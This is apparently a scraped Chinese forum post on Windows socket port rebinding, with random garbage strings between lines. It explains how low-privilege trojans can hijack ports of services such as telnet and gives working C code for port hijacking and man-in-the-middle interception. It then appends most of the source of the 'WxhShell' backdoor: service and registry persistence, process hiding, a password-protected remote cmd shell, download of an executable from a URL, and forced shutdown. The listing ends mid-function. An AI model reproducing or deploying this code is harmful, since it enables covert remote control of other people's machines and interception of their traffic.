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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Pqya%j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6;'[v}O^^ IVSC7SBiT saddr.sin_family = AF_INET; (?1$ KZ7B2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); R'c dEoy M+
%O-B bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (rBsh6@) Zio!j%G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cl^UFlf[ V[/9?5pM 这意味着什么?意味着可以进行如下的攻击: %@a;q?/?Nd ,ZJ}X 9$< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w ea q][kD2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n&;JW6VQS U%:%. Bys 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [l5jPL}6 ~q566k!Ll! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9/0H,qZc PDD2ouv4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `S|F\mI~
l.pxDMY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~wW]ntZm 2Cp4aTGv# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bn&P@C$7 8m
iJQIq #include sX~E ~$_g #include QZvQ8 #include {k.:DH) #include ^\gb|LEnK DWORD WINAPI ClientThread(LPVOID lpParam); Cu#n5SF* int main() 5\quh2Q_ { Ro2V-6/ WORD wVersionRequested; #1J,!seJ DWORD ret; wL),/i&< WSADATA wsaData; @
,X/Wf BOOL val; ZzE( S SOCKADDR_IN saddr; O6y:e#0z SOCKADDR_IN scaddr; }XBF#BN int err; Qt4mg?X/ SOCKET s; qWr=Oiu SOCKET sc; #(614-r/ int caddsize; ?fy37m(M} HANDLE mt; k(H]ILL DWORD tid; md{nHX& wVersionRequested = MAKEWORD( 2, 2 ); q$"u< err = WSAStartup( wVersionRequested, &wsaData ); ?pEPwc if ( err != 0 ) { e5bXgmyil printf("error!WSAStartup failed!\n"); rogy`mh\r2 return -1; 5"nq
h}5 } vOlfyH> saddr.sin_family = AF_INET; W'vek uM $||WI}k3V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~>>_`;B y p{Dl saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }>@SyE'Q saddr.sin_port = htons(23); q("XS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $5 G(_ { j%'2^C8 printf("error!socket failed!\n"); ^oPFLez56 return -1; G;cC!x< } O"~[njwkE val = TRUE; n)5t! //SO_REUSEADDR选项就是可以实现端口重绑定的 %^lD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gf.ywqE$Y$ { 72~L ? printf("error!setsockopt failed!\n"); ZskX!{ return -1; }b54O\, } OlyW/hd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~F-knEvL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B`eK_'7t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UeFJ5n'x: *RS/`a;, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fya*[)HBo { }'wZ)N@ ret=GetLastError(); $Be hU printf("error!bind failed!\n"); ?=Ceo#Er return -1; -b!Z(}JK } vcQl0+& listen(s,2); y_L8i[ while(1) yrEh5v: { iqB5h|
` caddsize = sizeof(scaddr); feyc //接受连接请求 {c)\}s(}F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V $I8iVGL if(sc!=INVALID_SOCKET) %(
7##f_ { )I*(yUj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eV}" L:bgJ if(mt==NULL) B\R X { ShC$ue?Q printf("Thread Creat Failed!\n"); 1#3|PA#> break; wyX3qH } =At" Q6-O } %R?7u'=~ CloseHandle(mt); QErdjjgE } )lLeL#]FLO closesocket(s); 7Q|<6210 WSACleanup(); :8OT return 0; O'98OH+u } pdJ]V`m DWORD WINAPI ClientThread(LPVOID lpParam) fD[O
tc { >#:SJ?)`T SOCKET ss = (SOCKET)lpParam; KS(H_&j SOCKET sc; (]cL5o9 unsigned char buf[4096]; (
y!o SOCKADDR_IN saddr; TsT5BC63 long num; 1LS1 ZY DWORD val; f$^wu~ DWORD ret; G 3U[)(" //如果是隐藏端口应用的话,可以在此处加一些判断 X[Ufq^fyA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 99*k&mb saddr.sin_family = AF_INET; j|pTbOgk% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TOG4=y-N saddr.sin_port = htons(23); 4r4 #u'Om if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T5T%[Gv { a6vej printf("error!socket failed!\n"); bDl#806P L return -1; !0lk}Uzkh } N4,oO H~ val = 100; C[%Qg=< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 55s5(]`d { P]n0L4c ret = GetLastError(); 0fX` >-X return -1; nG4ZOx.*1g } mWZP.w^- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'i$._Tx { BAXu\a-C_ ret = GetLastError(); (/$-2.@ return -1; Y _`JS; } '|=Pw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?WXftzdf6u { S||W printf("error!socket connect failed!\n"); \azMF} mb closesocket(sc); D)x^?! closesocket(ss); ^k7I+A return -1; h(yFr/ } hK)'dG* while(1)
3}s]F/e { L}{3_/t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "{vWdY|" //如果是嗅探内容的话,可以再此处进行内容分析和记录 octQ[QXo# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7~+Fec`Ut* num = recv(ss,buf,4096,0); mvH8hvD9 if(num>0) U9T}iI send(sc,buf,num,0); 'V^M+ng else if(num==0) tf 7HhOCYX break; Gn4b*Y&M]3 num = recv(sc,buf,4096,0); ?=4oxPe if(num>0) =YVxQj send(ss,buf,num,0); .9e5@@VR else if(num==0) !;8Y?c-D break; qdZ ^D } eY#^vB closesocket(ss); Vx.c`/ closesocket(sc); X<IW5* return 0 ; oS$7k3s
fj } :(ql=+vDb4 D$4GNeB+# |U1 [R\X ========================================================== "{~FEx4 ` Ny(S2 下边附上一个代码,,WXhSHELL # *pB"L 'kj
q C ========================================================== :k?`gm$ ;/kd.Q #include "stdafx.h" @k;65'"Q VD&wO'U #include <stdio.h> @yb'h`f] #include <string.h> m%u`#67oK #include <windows.h> f_O| #include <winsock2.h> 8D`+3 #include <winsvc.h> HdtGyh6X0 #include <urlmon.h> |~%RSS~b*
Hy:x.'i #pragma comment (lib, "Ws2_32.lib") _Ycz@Jn #pragma comment (lib, "urlmon.lib") ;taZixOH 1@{ov!YB] #define MAX_USER 100 // 最大客户端连接数 d+)L K~ #define BUF_SOCK 200 // sock buffer ~l:Cj*6x8 #define KEY_BUFF 255 // 输入 buffer ssQ1u.x9 ^A&{g.0 #define REBOOT 0 // 重启 (*r2bm2FPO #define SHUTDOWN 1 // 关机 ]T/%Bau yLLA:5Q1 #define DEF_PORT 5000 // 监听端口 U@).jpN _Zav Y<6 #define REG_LEN 16 // 注册表键长度 !I1p`_(_7 #define SVC_LEN 80 // NT服务名长度 =7TWzUCO# >WZ%Pv* // 从dll定义API (BtU\f#d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eCKm4l'BZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eh;Ia6} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9\?&u_ U" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EsWB |V> @F(er // wxhshell配置信息 N)cODy([ struct WSCFG { uq9mq" int ws_port; // 监听端口 !QAndg{;D char ws_passstr[REG_LEN]; // 口令 7Fpa%N/WL int ws_autoins; // 安装标记, 1=yes 0=no ='D%c^;O8' char ws_regname[REG_LEN]; // 注册表键名 gNxv.6Pp= char ws_svcname[REG_LEN]; // 服务名 >CKa?N; char ws_svcdisp[SVC_LEN]; // 服务显示名 L|APX y]> char ws_svcdesc[SVC_LEN]; // 服务描述信息 r)>'cjx/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9$v\D3<Z int ws_downexe; // 下载执行标记, 1=yes 0=no *-]k([wV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" i| cA) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |%8t.Z 2u_=i$xW }; gYbvCs8O! wT+60X' // default Wxhshell configuration YhglL!pC struct WSCFG wscfg={DEF_PORT, l2W+VBn6 "xuhuanlingzhe", }`
`oojz 1, OO/>}? ob "Wxhshell", zx"EAF{ "Wxhshell", Ke@Bf
"WxhShell Service", ]b}3f< "Wrsky Windows CmdShell Service", < q(i(% "Please Input Your Password: ", yD3vq}U! 1, M.5F|7 " http://www.wrsky.com/wxhshell.exe", E l.eK9L "Wxhshell.exe" dk] }; B> i^ w1 N%:uOX8{ // 消息定义模块 Hh](n<Bs char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kKbbsB char *msg_ws_prompt="\n\r? for help\n\r#>"; H4v%$R;K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `4@`G:6BL char *msg_ws_ext="\n\rExit."; :,H_
e!
X char *msg_ws_end="\n\rQuit."; |U1u:=[ char *msg_ws_boot="\n\rReboot..."; ;QuxTmWp^ char *msg_ws_poff="\n\rShutdown..."; `,pBOh|' char *msg_ws_down="\n\rSave to "; r{yIF~k@ 5r8
[" char *msg_ws_err="\n\rErr!"; wMF1HT<* char *msg_ws_ok="\n\rOK!"; $(J)F-DB i aAoAjV NkK char ExeFile[MAX_PATH]; |'i ?o int nUser = 0; Zq1> M'V; HANDLE handles[MAX_USER]; -$s1k~o int OsIsNt; =fBr2%qK b N>Ar SERVICE_STATUS serviceStatus; @AG=Eq9<o SERVICE_STATUS_HANDLE hServiceStatusHandle; 79Q,XRWh| _jkJw2+s\ // 函数声明 cv_O2Q4,@ int Install(void); /Jk.b/t.*S int Uninstall(void); R'K /\ int DownloadFile(char *sURL, SOCKET wsh); ,,9vk \ int Boot(int flag); a3Z()|t> void HideProc(void); jAt65a int GetOsVer(void); /e*<-a int Wxhshell(SOCKET wsl); l%2B4d9"v void TalkWithClient(void *cs); U_B`SS int CmdShell(SOCKET sock); Q"xDRQA int StartFromService(void); @izS_I, int StartWxhshell(LPSTR lpCmdLine); a~tBg y+9 wAb_fU&* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r:^`005 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 78b9Sdi& ;rF:$37^ // 数据结构和表定义 +fIyeX SERVICE_TABLE_ENTRY DispatchTable[] = ^T@-yys { zgpPu4t {wscfg.ws_svcname, NTServiceMain}, >yqL {NULL, NULL} v:j4#pEWD }; ] @1ncn7N gD fVY%[Z // 自我安装 pm;g)p? int Install(void) 7@VR:~n}k { GHWpL\A{8` char svExeFile[MAX_PATH]; M9S[{Jj* HKEY key; `V0]t_*D strcpy(svExeFile,ExeFile); 7
~ Bo*UM wY}+d0Ch // 如果是win9x系统,修改注册表设为自启动 ~RE`@/wQ] if(!OsIsNt) { Y.Ew;\6U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8%U)EU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t,P+~ A RegCloseKey(key); WqU$cQD" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5O%}.}n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Z..~1r RegCloseKey(key); IPE( return 0; 55N/[{[ } a. 5`Q2 } ~JT{!wcE}o } e S
Fmx else { [K9q+ I3aEg // 如果是NT以上系统,安装为系统服务 +~/zCJ;F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \J\1i=a-= if (schSCManager!=0) CblL1 q8 { f%auz4CZz SC_HANDLE schService = CreateService /3Gv51' ( Qg oXOVo6 schSCManager, eaiz
w@N wscfg.ws_svcname, ~d5{Q?T) wscfg.ws_svcdisp, sQH.}W$C SERVICE_ALL_ACCESS, )d1,}o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T@HozZ SERVICE_AUTO_START, #QDV_ziE5 SERVICE_ERROR_NORMAL, Pr/&p0@aV svExeFile, CC87<>V NULL, {k]VT4/ NULL, `RzM)ILl NULL, \1B*iW NULL, SoY&R= NULL Ia"bP` L ); :3Jh f$ if (schService!=0) I5"=b}V5 { u})JQ<| CloseServiceHandle(schService); \)"qN^we CloseServiceHandle(schSCManager); ?%0i,p@< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QY fS- strcat(svExeFile,wscfg.ws_svcname); !c`1~a! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jKQP0 t- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :{6[U=O RegCloseKey(key); 5Q'R5]?h return 0; =UP)b9*h } 4* hmeS" } _1JvA- CloseServiceHandle(schSCManager); hg>YOf&RG } ! O>mu6:Rf } Qqaf\$X QtzHr return 1; tr} $82Po } z'I0UB# NV;tsuA| // 自我卸载 \^:f4ZT int Uninstall(void) [(K^x?\Y0' { v>P){VT HKEY key; }R'oAE}$ yI;Qb7|^ if(!OsIsNt) { 0nd<6S+fs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MLb\:Ihy RegDeleteValue(key,wscfg.ws_regname); G j:| RegCloseKey(key); u@3w$"Pv1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZtT`_G& RegDeleteValue(key,wscfg.ws_regname); @'y"D RegCloseKey(key); $7*Ml)H!9 return 0; vtT:c.~d } m1hf[cg } *\>2DUu\` } , $=V else { !14z4]b 0.5_,an3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m4
(Fuu if (schSCManager!=0) BMW4E 5 { <.2Z{;z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RinRQd if (schService!=0) btE+.V { / u{r5`4
if(DeleteService(schService)!=0) { x1et,&, CloseServiceHandle(schService); }1P CloseServiceHandle(schSCManager); yC5|"+
A$ return 0; 4c yv
8 } *%e#)sn* CloseServiceHandle(schService); -d~'tti } 5*r6#[S\ CloseServiceHandle(schSCManager); ~eP2PG } ;D7jE+ } A!~o?ej ]=3O,\ return 1; `xr%LsNn } +1%6-g4" 7$;$4.' // 从指定url下载文件 G!IQ<FuY int DownloadFile(char *sURL, SOCKET wsh) U8mu<) { pf_ /jR HRESULT hr; gr=`_k4~1 char seps[]= "/"; XTJ>y@ char *token; vX\e*
v char *file; GSH{1VS_b char myURL[MAX_PATH]; >A/=eW/q char myFILE[MAX_PATH]; (r4\dp& dw|0K+-PH strcpy(myURL,sURL);
"gz;Q token=strtok(myURL,seps); ;~J~g# while(token!=NULL) #u$z-M ! { `vSsgG file=token; K/-D 5U token=strtok(NULL,seps); As`^Ku& } O#\>j =.c"&,c?L GetCurrentDirectory(MAX_PATH,myFILE); vo-{3]u#= strcat(myFILE, "\\"); | |=Duk strcat(myFILE, file); Ln|${c send(wsh,myFILE,strlen(myFILE),0); "q.uiz+1: send(wsh,"...",3,0); di5_5_$`o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %U7B0- if(hr==S_OK) @gc"-V*-/ return 0; EoeEg,'~F else EiUV?Gvz return 1; P$Q&xN<#) ~aG-^BAS } ?r<F\rBT7* %"zJsYQ! // 系统电源模块 Biwdb int Boot(int flag) $5r,Q{;$ { O@rb4( HANDLE hToken; }TW=eu~ TOKEN_PRIVILEGES tkp; !*gAGt_ >``GDjcJ if(OsIsNt) { sh2bhv] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]r6bJ2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bl];^W^P tkp.PrivilegeCount = 1; 6pR#z@, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aw1J#5j`n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ay4xOwcR if(flag==REBOOT) { 3)a29uc:U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ltR^IiA} return 0; <4,?lZ } 1`{ib
else { G65N: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D$E9%'ir return 0; `t&;Yk]-L } C5UDez } _4$DnQ6& else { (?y2@I} if(flag==REBOOT) { IcQ!A=lB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ".?{Y(~ return 0; nif'l/@" } Rn_c9p
else { hJsC
\ C,^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4
G[hU4L return 0; eB*8)gYh } ;r"B?] JO } em}Qv3*# 1 ,'^BgI, return 1; c&-$?f
r } {2r7:nvR P*Sip?tdE // win9x进程隐藏模块 nn4Sy,cz void HideProc(void) I;H9<o5 { GTl (i*
Els= :4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [uQZD1<q if ( hKernel != NULL ) NfF:[qwh { @0,dyg<$> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a|uZJ* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f"N3;,Oc FreeLibrary(hKernel); ,
% jTXb } oH0F9*+W 3G|fo4g return; Y26l,XIV }
}92lr87 !p2,|6Y`y // 获取操作系统版本 D(U3zXdO int GetOsVer(void) @(fY4]K { ilpZ/Rs OSVERSIONINFO winfo; P%HyIODS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *%'7~58ObS GetVersionEx(&winfo); G!%XQ\a! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {NgY8wQB return 1; \3?;[xD else B
RjKV return 0; 4^_Au^8R( } #-j!
;? B-'BJ|*4I // 客户端句柄模块 8k?L{hF|nW int Wxhshell(SOCKET wsl) }AZx/[k
|z { *[:CbFE0y SOCKET wsh; Yka&Kkw struct sockaddr_in client; \ZWmef DWORD myID; 9R"N#w.U] <L/vNP while(nUser<MAX_USER) sNmC#, { \'tz| int nSize=sizeof(client); $'{`i5XB wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vqz#V=J{ if(wsh==INVALID_SOCKET) return 1; -01 1U!
0P3|1= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SLOYlRGCi if(handles[nUser]==0) i}F;fWZ` closesocket(wsh); L00;rTs> else K |} ]< nUser++; JD`;,Md } udI:]:,P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); | O+># 8!Mzr1: return 0; N<"6=z@w+ } {&u7kWD| T^;Jz!e // 关闭 socket ss@}Dt^ void CloseIt(SOCKET wsh)
He-Ja { UJ)M:~O closesocket(wsh); O8~U<'=* nUser--; JX$NEq( ExitThread(0); uNZ>oP> } ^
R^N`V B "F`OS[ // 客户端请求句柄 ^O Xr: P void TalkWithClient(void *cs) JKi@Kw { ;4v}0N~. P9mxY*K)%5 SOCKET wsh=(SOCKET)cs; ) wo2GF char pwd[SVC_LEN]; \{=`F`oB= char cmd[KEY_BUFF]; m<,G:?RM char chr[1]; 3et2\wOX1x int i,j; V& j.>Y C\^<v& while (nUser < MAX_USER) { A.C278^O8 -WBz]GW4r if(wscfg.ws_passstr) { o7a6 )2JK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +IO1ipc4cE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Dj$0g //ZeroMemory(pwd,KEY_BUFF); +;wqX]SD & i=0; =
EChH@3 while(i<SVC_LEN) { %OTA5 'Kzr-)JS // 设置超时 U[e8K fd_set FdRead;
1C,C) struct timeval TimeOut; .6 ?>t!&W FD_ZERO(&FdRead); } .H Fm'p FD_SET(wsh,&FdRead); &J/4J TimeOut.tv_sec=8; 3auJ^B} TimeOut.tv_usec=0; dMs39j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {F6dSF` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :n>ccZeMv *[1u[H9Cv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +=*m! 7Mr pwd =chr[0]; &;h~JS= if(chr[0]==0xd || chr[0]==0xa) {
6:@t=C pwd=0; !k= 0X\5L break; :_QAjU } ['Y+z2k i++; |RAQ% VXm } :CkR4J!m3 o=RqegL // 如果是非法用户,关闭 socket _`X#c-J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2hwXWTSu } "X{aS} e=n{f*KG` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F`BgKH! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HLoQ}oK|K l@Eq|y, while(1) { Q(;B) OBw`!G*w ZeroMemory(cmd,KEY_BUFF); _[{:!?-? ,7fc41O3V // 自动支持客户端 telnet标准 '=Kof1 j=0; PZ!dn%4jy while(j<KEY_BUFF) { yhtvr5z1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bhqq cmd[j]=chr[0]; ~
S?-{X+ if(chr[0]==0xa || chr[0]==0xd) { h\u0{!@} cmd[j]=0; !,6v=n[Nz break; _D2bGZN } Y7:Y{7E7 j++; 9"HmHy&:E } mj(&`HRs4 Mi/ &$"= // 下载文件 ]Ic?:lKN if(strstr(cmd,"http://")) { V^`?8P8d send(wsh,msg_ws_down,strlen(msg_ws_down),0); @( n^S?( if(DownloadFile(cmd,wsh)) 16[-3cJ T send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ge +(1x else jqX@&}3@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Z2,^5P{ } pg?i F1 else { 7Js>!KR e\A(#l@g switch(cmd[0]) { 2%{YYT
GIRSoRVsh // 帮助 /J[H5uA case '?': { m,@1LwBH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F[7Kw"~J break; d@D;'2}Yc } X@yr$3vC // 安装 e:$7^Y,U/ case 'i': { /Oggt^S if(Install()) sk7rU+< send(wsh,msg_ws_err,strlen(msg_ws_err),0); uK;K{ else |YE,) kiF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,XeyE;|| break; J~iOP } W8G9rB|T // 卸载 MS st case 'r': { b@2Cll# if(Uninstall()) &PRx,G5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); F%PwIB~cy else 0HHui7Yy> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uOG-IHuF break; Gq0]m } 7>'uj7r]= // 显示 wxhshell 所在路径 o9m case 'p': { "+n4 c' char svExeFile[MAX_PATH]; _}I(U?Q-C strcpy(svExeFile,"\n\r"); H:q )^$s strcat(svExeFile,ExeFile); a@fE46o6< send(wsh,svExeFile,strlen(svExeFile),0); J7'f@X~nM break; X!7VyE+n } ] Wx>)LT // 重启 IP30y>\ case 'b': { S]e j=6SP send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d)04;[= if(Boot(REBOOT)) `%t$s,TiP send(wsh,msg_ws_err,strlen(msg_ws_err),0); A$%Q4jC} else { >Lw}KO` closesocket(wsh); UTDcX ExitThread(0); 5!'R'x5e } WCuzV7tw break; E\]OySC%C$ } Y8)E]D // 关机 p~Hvl3SxR case 'd': { 4AY
_#f5u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *<*0".# if(Boot(SHUTDOWN)) >H0) ph send(wsh,msg_ws_err,strlen(msg_ws_err),0); }O,U2=Hw`] else { xl+DRPzl closesocket(wsh); zH)cU%I@. ExitThread(0); 2PVx++*]C } XYqpI/s break; XJx,9trH } 2qZa9^} // 获取shell 3[0w+{(Q case 's': { Yz&*PPx CmdShell(wsh); SXRdNPXFO closesocket(wsh); <91t`&aWW ExitThread(0); *2JH_Cj` break; o {=qC: b } I?_E,.)[ I // 退出 eecw]P_? case 'x': { CY*ngi & send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EKZ$Q4YE CloseIt(wsh); s<A*[ break; Q~fwWp-J } hq/J6 M // 离开 *0%4l_i case 'q': { )n\*ht7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); SU?wFCGT% closesocket(wsh); i(Ip(n WSACleanup(); JN9^fR09G exit(1); `9.dgV break; I2TD.wuIW } mD9STuA$H } 79)A%@YHQQ } B0f_kH~p~ rkxW UDl // 提示信息 :{[<g]( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u5Qp/ag?N } `S"W8_m } M[ x_#m| jja{*PZ6H return; X'cf&>h } r%0pQEl [NYj.#,oR // shell模块句柄 IE&_!ce int CmdShell(SOCKET sock) No:^hY:F8 { 3c c1EQ9 STARTUPINFO si; f?,-j>[.=f ZeroMemory(&si,sizeof(si)); ~O \}/I28 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?n!lUr$:y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4\p$4Hs} PROCESS_INFORMATION ProcessInfo; ;aq `N}d char cmdline[]="cmd"; vG Y!4@[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y4QLs^IdB return 0; >@^<S_KVh } RnHQq'J|\ as>:\hjP## // 自身启动模式 d
i!"IQAvK int StartFromService(void) Tdg6kkJ { b.QpHrnhtK typedef struct vFTXTbt'h { A2Q[%A DWORD ExitStatus; M]c7D`%s DWORD PebBaseAddress; YzVN2f!n DWORD AffinityMask; "37*A<+f DWORD BasePriority; QQ@9_[N ULONG UniqueProcessId; f%c06Un= ULONG InheritedFromUniqueProcessId; aiYo8+{!# } PROCESS_BASIC_INFORMATION; 9o EpPL5 sF y]+DB PROCNTQSIP NtQueryInformationProcess; ~%`EeJwT &GuF\wJ{7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8=:A/47=J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g[M]i6h2 h-7A9: HANDLE hProcess; Qh^R Ax PROCESS_BASIC_INFORMATION pbi; sH%&+4!3 D -6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rsWQHHkO if(NULL == hInst ) return 0; 3c b[RQf f3!n$lj g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sc%dh?m7 g_pGetModuleBaseName = 